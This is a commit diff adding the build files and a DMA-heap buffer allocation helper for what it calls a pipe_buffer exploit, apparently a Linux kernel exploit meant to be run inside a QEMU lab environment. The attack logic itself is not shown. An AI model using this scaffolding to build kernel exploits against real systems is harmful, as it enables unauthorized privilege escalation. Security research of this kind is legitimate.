Add Nevsor's pipe_buffer exploit

exploit_nevsor/.gitignore

@@ -0,0 +1,2 @@
+*.o
+exploit

exploit_nevsor/Makefile

@@ -0,0 +1,23 @@
+CC=gcc
+
+SOURCE_FILES = exploit.c dma_buf_t.c pipe_fds_t.c util.c
+OBJ_FILES = $(patsubst %.c,%.o,$(SOURCE_FILES))
+
+CFLAGS = -static
+COBJFLAGS = $(CFLAGS) -c
+LDFLAGS = 
+EXEC_NAME = exploit
+
+%.o: %.c
+	$(CC) $^ $(COBJFLAGS) -o $@
+
+$(EXEC_NAME): $(OBJ_FILES)
+	$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@
+
+run: $(EXEC_NAME)
+	cp $(EXEC_NAME) ../basic_linux_env/host/$(EXEC_NAME)
+	cd ../basic_linux_env && ./run_qemu.sh
+
+clean:
+	rm ./*.o
+	rm $(EXEC_NAME)

exploit_nevsor/dma_buf_t.c

@@ -0,0 +1,59 @@
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <stdio.h>
+#include <error.h>
+#include <stdlib.h>
+#include <linux/udmabuf.h>
+#include <linux/dma-heap.h>
+#include <sys/ioctl.h>
+#include <sys/io.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include "dma_buf_t.h"
+
+static int __dev_fd = -1;
+static inline int __get_dev_fd()
+{
+    if(__dev_fd>=0)
+        return __dev_fd;
+
+    __dev_fd = open("/dev/dma_heap/system", O_RDWR);
+    if (__dev_fd < 0)
+        perror("[-] couldn't open system dma-heap");
+    return __dev_fd;
+}
+
+dma_buf_t * create_dma_buf(size_t size)
+{
+    dma_buf_t* new_buf = malloc(sizeof(*new_buf));
+    if(!new_buf)
+        return NULL;
+
+    struct dma_heap_allocation_data info = {0};
+    info.len = size;
+    info.fd_flags = O_RDWR;
+
+    int dev_fd = __get_dev_fd();
+
+    /* alloc a `page` array of N_PAGES_ALLOC (i.e. 1 page) */
+    int ret = ioctl(dev_fd, DMA_HEAP_IOCTL_ALLOC, &info);
+    if (ret < 0)
+    {
+        perror("[-] couldn't create udmabuf");
+        free(new_buf);
+        return NULL;
+    }
+
+    new_buf->buf_fd = info.fd;
+    new_buf->size = info.len;
+    return new_buf;
+}
+
+void free_dma_buf(dma_buf_t* dma_buf)
+{
+    if (!dma_buf)
+        return;
+
+    close(dma_buf->buf_fd);
+    free(dma_buf);
+}

exploit_nevsor/dma_buf_t.h

@@ -0,0 +1,14 @@
+#ifndef DMA_BUF_T_H
+#define DMA_BUF_T_H
+#include <stddef.h>
+
+typedef int dma_buf_fd_t;
+
+typedef struct {
+    dma_buf_fd_t buf_fd;
+    size_t size;
+} dma_buf_t;
+
+dma_buf_t* create_dma_buf(size_t size);
+void free_dma_buf(dma_buf_t* size);
+#endif